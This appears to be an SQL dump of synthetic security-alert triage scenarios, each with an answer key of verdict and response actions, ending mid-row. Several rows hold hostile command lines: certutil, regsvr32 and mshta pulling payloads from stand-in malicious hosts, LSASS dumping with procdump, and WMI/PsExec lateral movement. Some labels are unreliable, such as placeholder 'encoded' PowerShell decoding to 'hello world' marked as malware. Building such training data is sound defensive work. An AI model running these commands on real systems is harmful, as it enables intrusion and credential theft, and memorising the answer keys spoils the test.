(2085, 'Lateral Movement Detected via WMI Execution', 'high', 'Carbon Black', 'WMI was used to execute commands on a remote host, suggesting lateral movement activity within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.25\",\"username\":\"analyst\",\"hostname\":\"CORP-ADMIN01\",\"command_line\":\"wmic /node:192.168.1.25 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.25 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI used for lateral movement within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute commands on another system is indicative of lateral movement tactics.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2086, 'Suspicious Use of Certutil for Data Exfiltration', 'high', 'Sysmon', 'Certutil was used to encode and potentially exfiltrate data, a common method used by attackers to bypass security controls.', 'Data_Exfiltration', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.16\",\"dst_ip\":\"\",\"username\":\"tuser\",\"hostname\":\"CORP-LAPTOP01\",\"command_line\":\"certutil -encode data.txt encoded_data.txt\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil -encode data.txt encoded_data.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Certutil used for encoding data, potentially for exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.16\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Certutil is often used by attackers to encode and exfiltrate data without detection.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2087, 'Regsvr32 Execution of Malicious Script', 'high', 'CrowdStrike', 'Regsvr32 was used to execute a remote script, a known technique for bypassing application whitelisting defenses.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"\",\"username\":\"hacker\",\"hostname\":\"CORP-DESKTOP01\",\"command_line\":\"regsvr32 /s /n /u /i:https://malicious.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:https://malicious.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted at the URL executed using regsvr32\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://malicious.com/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted at this URL\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Use of regsvr32 to execute remote scripts is a known method for evading detection and executing malicious payloads.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2088, 'Credential Dumping Detected via LSASS Memory Access', 'critical', 'CrowdStrike', 'A suspicious process was detected accessing LSASS memory, indicating a potential credential dumping attempt. The attack originated from an internal system using PowerShell with encoded commands.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc SQBFAFgAQwBTAEEAbABsAGUAbQB1AE4ARQByAEkAdwBTAEEAbABlAG0A\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in credential attack\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc SQBFAFgAQwBTAEEAbABsAGUAbQB1AE4ARQByAEkAdwBTAEEAbABlAG0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The PowerShell command was encoded and aimed at accessing LSASS, a common technique for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2089, 'Lateral Movement Detected via WMI Execution', 'high', 'Carbon Black', 'Suspicious WMI command execution detected originating from a compromised internal host, indicating lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T21:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.30\",\"dst_ip\":\"10.0.2.45\",\"username\":\"network_admin\",\"hostname\":\"CORP-WORKSTATION15\",\"command_line\":\"wmic /node:10.0.2.45 process call create \'cmd /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address initiating WMI command\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.45 process call create \'cmd /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"WMI command used for lateral movement detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI execution from one internal host to another is indicative of lateral movement attempts.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2090, 'Fileless Malware via Encoded PowerShell Command', 'critical', 'SentinelOne', 'A fileless malware attack was detected involving an encoded PowerShell command. The attack was aimed at downloading and executing malicious scripts.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:17:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.50\",\"username\":\"user01\",\"hostname\":\"CORP-LAPTOP07\",\"command_line\":\"powershell.exe -enc YwBlAHIAdAB1AHQAaQBsAC4AZQB4AGUAIAAtAGYAIABzAGgAZQBsAGwALgBlAHgA\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing fileless malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc YwBlAHIAdAB1AHQAaQBsAC4AZQB4AGUAIAAtAGYAIABzAGgAZQBsAGwALgBlAHgA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for fileless attack\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell script suggests fileless malware tactics aimed at stealthy execution.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2091, 'Suspicious Certutil Activity Detected', 'high', 'Sysmon', 'A suspicious invocation of Certutil was detected, potentially used to download a malicious payload from an external server.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.22\",\"dst_ip\":\"104.248.123.45\",\"username\":\"guest_user\",\"hostname\":\"CORP-DESKTOP12\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-domain.com/payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address using Certutil for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-domain.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download potentially malicious payload\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was used in a non-standard way to download files, suggesting misuse for malicious purposes.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2092, 'Regsvr32 Executed with Remote Script', 'high', 'CrowdStrike', 'Detected regsvr32 executing a remote script, a common technique for fileless malware execution. The script was hosted on an external IP.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.50\",\"dst_ip\":\"198.51.100.77\",\"username\":\"developer_user\",\"hostname\":\"CORP-SERVER02\",\"command_line\":\"regsvr32.exe /s /u /i:http://dangerous-site.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.4.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP executing regsvr32 with external script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /i:http://dangerous-site.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute remote script, typical in fileless attacks\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 was used to execute a script from a remote source, a known fileless malware technique.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2093, 'Suspicious PowerShell Encoded Command Execution Detected', 'critical', 'CrowdStrike', 'A fileless malware attack leveraging PowerShell with encoded commands was detected. The attack was attempting credential dumping from LSASS on an internal server.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"powershell.exe -enc W1Rlc3RdIHdoaWxlIElFbmNvZGVkQ29tbWFuZA==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W1Rlc3RdIHdoaWxlIElFbmNvZGVkQ29tbWFuZA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command was encoded, a common tactic used in fileless malware attacks to evade detection.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2094, 'Credential Dumping via LOLBin Detected on Internal Network', 'high', 'SentinelOne', 'Credential dumping from LSASS was attempted using regsvr32, a known LOLBin technique, indicating potential lateral movement.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.12\",\"dst_ip\":\"10.0.1.25\",\"username\":\"sysadmin\",\"hostname\":\"workstation03\",\"command_line\":\"regsvr32.exe /s /u /n /i:cmd.exe scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in the attack\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /n /i:cmd.exe scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Use of regsvr32 to execute scripts, indicative of credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of regsvr32 with cmd.exe indicates an attempt to bypass security controls for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2095, 'WMI Lateral Movement Detected Across Domain', 'high', 'Carbon Black', 'An attacker used WMI for lateral movement within the network, targeting multiple devices to execute remote commands.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.5\",\"dst_ip\":\"10.0.2.35\",\"username\":\"network_admin\",\"hostname\":\"central_server\",\"command_line\":\"wmic /node:10.0.2.35 process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP used for internal lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.35 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command execution used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI was used to execute commands on a remote host, indicating lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2096, 'Certutil Abuse for Malicious Payload Download Detected', 'critical', 'Sysmon', 'Certutil was used to download a malicious payload from an external source, likely for establishing persistence or further compromise.', 'Malware', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:47:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.8\",\"dst_ip\":\"198.51.100.25\",\"username\":\"user_john\",\"hostname\":\"client02\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-site.com/payload.exe payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-site.com/payload.exe payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Certutil abuse for downloading malicious files\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was leveraged to download a known malicious payload, indicating an attempt to bypass security measures.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2097, 'MSHTA Exploitation for Remote Code Execution Identified', 'high', 'CrowdStrike', 'MSHTA was used to execute a remote script, which can be indicative of an attempt to execute code or download additional malicious payloads.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.1\",\"dst_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"hostname\":\"laptop01\",\"command_line\":\"mshta http://exploit-site.com/exploit.html\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP linked to known malicious activity and exploit distribution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta http://exploit-site.com/exploit.html\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"MSHTA used to execute remote code, common in fileless malware attacks\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"MSHTA is often used in fileless attacks to execute scripts from remote sources, posing a high security risk.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2098, 'Fileless Malware Detected via PowerShell Encoded Command', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using an encoded PowerShell command executed on a compromised host. The attacker attempted to dump credentials from LSASS.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-PC-01\",\"command_line\":\"powershell.exe -enc W3BhdGggdG8gc3VjY2Vzcw==\",\"file_hash\":\"7d1f3b4b7f5d4c3b8d3f2e5a6f7b8c9d\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3BhdGggdG8gc3VjY2Vzcw==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in fileless malware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7d1f3b4b7f5d4c3b8d3f2e5a6f7b8c9d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with multiple malware campaigns.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command suggests a fileless malware attack aimed at credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2099, 'Suspicious Lateral Movement via WMI Execution', 'high', 'SentinelOne', 'Detected WMI execution from one internal host to another, indicating potential lateral movement. The command was executed without a legitimate business need.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"wmic /node:192.168.1.20 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source internal IP of WMI execution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination internal IP of WMI execution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.20 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Indicates potential lateral movement activity.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unusual WMI activity suggests an attempt to move laterally within the network.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2100, 'Credential Dumping Detected from LSASS Process', 'critical', 'Carbon Black', 'A process attempting to access LSASS memory was detected, indicative of credential dumping activity.', 'Credential Dumping', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"\",\"username\":\"svc_account\",\"hostname\":\"WORKSTATION-05\",\"command_line\":\"procdump64.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump64.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Procdump used for credential dumping detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of procdump to dump LSASS memory is a clear indicator of credential theft.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2101, 'Suspicious Network Activity with CertUtil LOLBin', 'high', 'Sysmon', 'Detected suspicious use of CertUtil to download a potentially malicious file from an external server, indicative of a living-off-the-land attack.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"user123\",\"hostname\":\"CLIENT-PC-09\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/file.exe C:\\\\temp\\\\file.exe\",\"domain\":\"malicious.example.com\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/file.exe C:\\\\temp\\\\file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil used for malicious file download detected.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of CertUtil to download files from a known malicious domain indicates a potential malware infection attempt.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2102, 'Lateral Movement Attempt via PsExec Tool', 'high', 'Carbon Black', 'PsExec was used to execute a command on a remote host, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:20:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin_user\",\"hostname\":\"ADMIN-PC-01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.50 -u domain\\\\admin_user cmd.exe /c \\\"dir C:\\\\\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal source IP for PsExec execution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for PsExec execution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.50 -u domain\\\\admin_user cmd.exe /c \\\"dir C:\\\\\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec used for unauthorized command execution on remote host.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec usage without a legitimate reason suggests an attempt to move laterally and execute commands on remote hosts.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2103, 'Sophisticated Fileless Malware Detected via Encoded PowerShell', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using an encoded PowerShell command. The attacker utilized PowerShell to execute commands directly in memory, avoiding traditional file-based detection.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc aGVsbG8gd29ybGQ=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell command indicates an attempt to execute fileless malware, consistent with recent attack patterns.\"}', 'Advanced', 'EDR', 7, 